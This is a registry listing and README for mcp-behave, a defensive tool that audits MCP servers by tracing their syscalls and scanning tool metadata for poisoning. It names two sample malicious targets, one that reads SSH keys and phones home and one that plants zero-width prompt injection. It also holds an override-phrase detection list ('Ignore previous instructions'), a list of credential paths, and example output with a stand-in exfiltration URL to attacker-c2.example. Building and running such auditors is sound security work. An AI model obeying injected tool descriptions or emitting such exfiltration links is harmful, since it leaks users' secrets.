mcp-behave
mcp-behave exposes MCP security-auditing tools so an AI agent can dynamically audit or inspect another MCP server.
audit_server: Run a runtime behavioral audit on a server command, exercising tools/resources/prompts with canary inputs, tracing network/file/subprocess activity, and detecting undeclared behavior or manifest rug-pulls.inspect_manifest: Fetch and inspect a server's advertised tools/resources/prompts without executing tool actions or tracing syscalls, and check manifest hashes for rug-pull changes.Configure audits with command, timeout, transport (
stdio/SSE/streamable-http), tracer backend, DNS resolution, orno_trace.Run it as an MCP server over stdio via
npx mcp-behave serveoruvx mcp-behave servefor Claude Desktop, Cursor, Cline, or other agents.Note: syscall tracing applies only to local stdio targets; remote transports and no-trace mode are manifest-only.
mcp-behave
Runtime behavioral auditor for MCP servers. Runs an MCP server under
a runtime tracer (macOS dylib, Linux LD_PRELOAD, or strace), exercises
every tool / resource / prompt it advertises, and audits both system-level activity
(network egress, sensitive file access, subprocess execution) and CSA threat vectors
(metadata prompt injection, covert Unicode channels, client-side Markdown exfiltration).
Static scanners only read tool descriptions. mcp-behave observes what servers actually execute and return.

📖 Read the research article: Auditing Real-World MCP Servers with mcp-behave for an empirical audit comparing real-world packages and investigating known MCP vulnerability classes.
🏗️ Architecture & Systems Internals: See
ARCHITECTURE.mdfor module dependency, data-flow, and sequence diagrams of the audit pipeline.
The idea in one contrast
Compare three bundled targets in targets/:
honest_server.py: advertises a purely local note formatter and behaves honestly.leaky_server.py: advertises the exact same harmless note formatter, but secretly accesses SSH keys and phones home via network syscalls.poisoned_server.py: never makes network syscalls, but poisons its descriptions with covert zero-width spaces and prompt injection, and returns an external Markdown image link () to trigger client-side HTTP GET exfiltration when rendered in a chat UI.
Target | Network Syscalls | File System Access | Metadata & Output Safety | Verdict |
| none | none | clean | 0 (PASS) |
|
|
| clean | 2 HIGH |
| none | none | prompt injection & Markdown exfil | 3 HIGH |
The honest server producing zero findings matters as much as detecting the malicious ones — false positives destroy trust.
Related MCP server: Test MCP Server
Install & Quickstart
Run directly without manual installation:
# Via npx (Node.js ecosystem — zero install)
npx mcp-behave <server-command>
# Via uvx (Python ecosystem — zero install)
uvx mcp-behave <server-command>Or install into your local environment:
# Via pip
pip install mcp-behave
# Via npm
npm install -g mcp-behaveTracer Requirements
macOS: Works natively without
straceor root using an injected dylib (DYLD_INSERT_LIBRARIES). Built automatically on first use withcc(Xcode Command Line Tools).Linux: Works natively without
straceorSYS_PTRACEusing anLD_PRELOADshared library. Built automatically on first use withcc(e.g.gcc). If no compiler is available,straceis used as a fallback if installed onPATH.Untraced mode: Run on any platform with
--no-tracefor manifest inspection and rug-pull checks without any runtime tracer.
Use
# Audit any stdio MCP server -- pass its launch command:
mcp-behave python -m mcp_server_fetch
mcp-behave npx -y @modelcontextprotocol/server-filesystem /tmp
mcp-behave uvx mcp-server-git
# Run untraced (manifest & rug-pull analysis only, no tracer needed):
mcp-behave --no-trace python -m mcp_server_fetch
# Machine-readable output for CI:
mcp-behave --json --fail-on high python -m mcp_server_fetch
# Connect to an already-running remote server (manifest analysis only,
# no syscall trace possible):
mcp-behave --transport sse http://localhost:8000/sseExit codes: 0 clean, 3 findings at or above --fail-on threshold,
2 tracer setup failed, 1 other error.
Useful flags
--no-trace— skip syscall tracing and run manifest analysis only.--tracer {auto,preload,dylib,strace,none}— choose tracer backend explicitly (defaultauto).--json— emit findings as JSON on stdout.--fail-on {never,info,high}— severity that triggers exit code 3 (defaulthigh).--no-dns— skip reverse-DNS lookups (faster, offline-safe).--timeout SECONDS— per-call timeout (default 15).--transport {stdio,sse,streamable-http}— remote transports skip syscall tracing.--out-dir PATH— wheremanifest.jsonandtrace.logare written.
Environment Variables
Variable | Default | Description |
|
| Directory where probe output ( |
|
| Path to the raw syscall trace log file. |
|
| Timeout in seconds per individual tool, resource, or prompt call during exercise. |
|
| Storage location for historical manifest hashes used in rug-pull detection. |
| (unset) | Set to |
| (empty) | Colon-separated path substrings to filter out as benign noise during trace analysis. |
| (unset) | Target dashboard URL for |
| (unset) | API bearer token for |
Run as an MCP Server (Glama, Claude Desktop, Cursor)
mcp-behave can run as an MCP server exposing behavioral security tools to AI agents:
audit_server: Probes and dynamically audits another MCP server's behavioral footprint.inspect_manifest: Safely fetches and inspects advertised tools, resources, and prompts, and checks for rug-pulls.
# Start MCP server over stdio
npx mcp-behave serve
# or
uvx mcp-behave serveClaude Desktop / Cursor / Cline Configuration
Add to your claude_desktop_config.json or Cursor MCP settings:
Option A: Using npx (No Python virtualenv setup needed)
{
"mcpServers": {
"mcp-behave": {
"command": "npx",
"args": ["-y", "mcp-behave", "serve"]
}
}
}Option B: Using uvx
{
"mcpServers": {
"mcp-behave": {
"command": "uvx",
"args": ["mcp-behave", "serve"]
}
}
}Glama & Registry Listing
mcp-behave is compatible with Glama and includes a root glama.json manifest. AI models can invoke audit_server to verify untrusted third-party MCP servers before interacting with them.
Push results to a dashboard
mcp-behave push uploads a JSON audit result to an
mcp-behave dashboard.
# 1. Sign in at https://<your-dashboard>.vercel.app/settings and mint a token.
export MCP_BEHAVE_DASHBOARD_URL=https://<your-dashboard>.vercel.app
export MCP_BEHAVE_TOKEN=mcpb_...
# 2. Audit something with --json and pipe it to push.
mcp-behave --json python -m mcp_server_fetch \
| mcp-behave push --server-name server-fetch --category network
# Or save to a file first, then push.
mcp-behave --json python -m mcp_server_fetch > audit.json
mcp-behave push audit.json --server-name server-fetch --category networkFlags worth knowing:
--server-name NAME— canonical name on the dashboard. Defaults to the joined server command from the audit JSON; usually you want to set this.--description TEXT— used the first time this server is submitted.--github-url URL,--npm-package PKG,--author NAME— optional server metadata.--category {local,network,database,other}— defaults toother.--dry-run— print the JSON payload that would be POSTed and exit.
The endpoint is rate-limited per token (20 req/min); push exits 1 on HTTP error
and prints the response body to stderr.
What it detects
Findings are framed as observations ("does X, undeclared"), never accusations.
1. System-Level Behavioral Deviations (Runtime Traced)
Undeclared network egress — IP:port socket connections opened during probe execution (reverse-DNS resolved in findings when available). Flagged
HIGHif manifest claims local/offline operation,INFOotherwise.Sensitive-path reads — accesses to private credentials, keys, and environment files (
~/.ssh/*,~/.aws/*,~/.env,~/.netrc,~/.kube/*,/etc/shadow, etc.). FlaggedHIGH.Subprocess execution — child binaries spawned by the server process (e.g.,
/bin/sh,curl,python). FlaggedINFO.
2. Manifest Integrity & Rug-Pull Detection
Rug-pull alerts — detects if the declared manifest hash (
tools,resources,prompts) silently changes between runs of the same server (e.g., modifying descriptions after user approval). FlaggedHIGH. Hashes persist under$XDG_DATA_HOME/mcp-behave/manifests/.
3. CSA MCP Working Group Threat Catalog (TTPs)
Covert Channel & Metadata Injection (CSA TTP: Tool Description Poisoning) — scans tool names, tool/parameter descriptions, resource URIs, and prompt metadata for:
ANSI terminal escape sequences (
\x1b[...],\033[...]) used for terminal/display manipulation.Invisible & zero-width Unicode characters (
\u200B,\u200C,\u200D,\uFEFF,\u2060), BiDi direction overrides (\u202A–\u202E,\u2066–\u2069), and Unicode tag characters (0xE0000–0xE007F).Direct prompt injection patterns (e.g.,
Ignore previous instructions,SYSTEM PROMPT:,<system>,[system instruction],you must always call this tool first).
Tool Output Safety & Markdown Exfiltration (CSA TTP: Output Prompt Injection / Data Exfiltration) — exercises tools and audits response payloads for:
External Markdown images (
) and HTML<img src="...">tags that trigger silent client-side HTTP GET data exfiltration when rendered in chat interfaces.Covert ANSI sequences, invisible Unicode payloads, and prompt injection directives embedded in tool response text.
Example Output
mcp-behave python targets/poisoned_server.py=== STEP 1: observe (macos-dylib) ===
[probe] discovered 1 tool(s)
[probe] calling tool notes_analyzer({"note": "canary-input"})
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===
target tools: notes_analyzer
resources: 0, prompts: 0
declared scope hints: none
--------------------------------------------------------
[!] HIGH invisible/zero-width Unicode or BiDi override detected in tool 'notes_analyzer' description (zero-width space): covert prompt injection risk
[!] HIGH prompt injection pattern detected in tool 'notes_analyzer' description: 'Ignore previous instructions'
[!] HIGH tool 'notes_analyzer' returned external image link 'https://attacker-c2.example/exfiltrate?leak=secret_token_12345' -- potential client-side data exfiltration
[i] INFO spawned subprocess: /path/to/pythonDocker (works on macOS / Windows hosts)
docker build -t mcp-behave .
# default: runs the bundled leaky target so you can see findings immediately
docker run --rm mcp-behave
# point at a real server
docker run --rm mcp-behave python -m mcp_server_fetchThe container automatically compiles and runs the native LD_PRELOAD tracer
without needing --cap-add=SYS_PTRACE. If you explicitly use --tracer strace,
--cap-add=SYS_PTRACE is required.
The image bundles Node.js (for npx servers), uv (for uvx servers), and
sandbox canary files (sandbox_home/) mounted as $HOME so credential reads
are detectable.
Development
pip install -e ".[test]"
pytest -vCI tests across Ubuntu and macOS; see .github/workflows/ci.yml.
Known limits
Runtime tracing requires macOS (DYLD interposition) or Linux (LD_PRELOAD / strace). Windows and other platforms can run with
--no-tracefor manifest and rug-pull checks. An eBPF backend for system-wide capture is on the roadmap — see ROADMAP.md.stdio is the only transport with syscall tracing.
sseandstreamable-httpconnect to a remote server we cannot trace; only manifest analysis and rug-pull detection apply there.Input synthesis is heuristic — JSON Schema
format, key-name hints, and type defaults. Schema-coverage fuzzing (hypothesis-jsonschema) is roadmap.AF_UNIX egress isn't matched — a server exfiltrating over a unix domain socket would slip past the current network detection.
Single call per capability — servers that misbehave only on specific inputs or after N calls may not be triggered.
License
MIT. See LICENSE.
Available Tools
2 toolsaudit_serverB
Run a runtime behavioral audit on an MCP server. Exercises tools, resources, and prompts using canary inputs, captures system calls (network, files, subprocesses), and detects undeclared behaviors or manifest rug-pulls.
Inputs: command (required), tracer, timeout, no_trace, +2 more. Returns: result
inspect_manifestB
Inspect an MCP server's declared capabilities (tools, resources, prompts) without executing tool actions or tracing syscalls. Also checks for manifest rug-pulls against prior recorded runs.
Inputs: command (required), timeout, transport. Returns: result
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 2 tools
The two tools have clearly distinct modes: inspect_manifest is static, read-only manifest inspection, while audit_server performs runtime execution and syscall tracing. Although both mention rug-pull detection, the descriptions make the static-vs-runtime boundary explicit.
Both names follow a consistent snake_case verb_noun pattern (inspect_manifest, audit_server). The verbs accurately reflect each tool's action.
Two tools is thin for the server's scope, though each covers a meaningful analysis mode (static and runtime). Additional tools for managing or comparing audit runs would make the set feel more complete.
The surface covers the core static and dynamic auditing workflows, including rug-pull detection. Minor gaps exist around retrieving, listing, or comparing prior audit results and managing baselines.
Maintenance
Related MCP Connectors
A simple MCP server built with FastMCP and python
Related MCP Servers
- FlicenseNot gradedqualityDmaintenanceDamn Vulnerable MCP Server for Security Researchers.7-
- FlicenseNot gradedqualityDmaintenanceA basic MCP server implementation for testing purposes. Communicates via stdio and is designed to work with MCP-compliant clients.-
- AlicenseAqualityBmaintenanceMCP server for https://oathe.ai security audits. Runtime behavioral analysis and security scanner for Ai systems. Check trust scores before installing MCP servers, plugins, or AI agent skills.5281 npm1MIT
- AlicenseAqualityBmaintenanceTransparent Go proxy that intercepts, signs, rate-limits, redacts, and audits all MCP JSON-RPC tool calls without modifying client or server. Stores to JSONL or SQLite with HMAC-SHA256 signatures.148Apache 2.0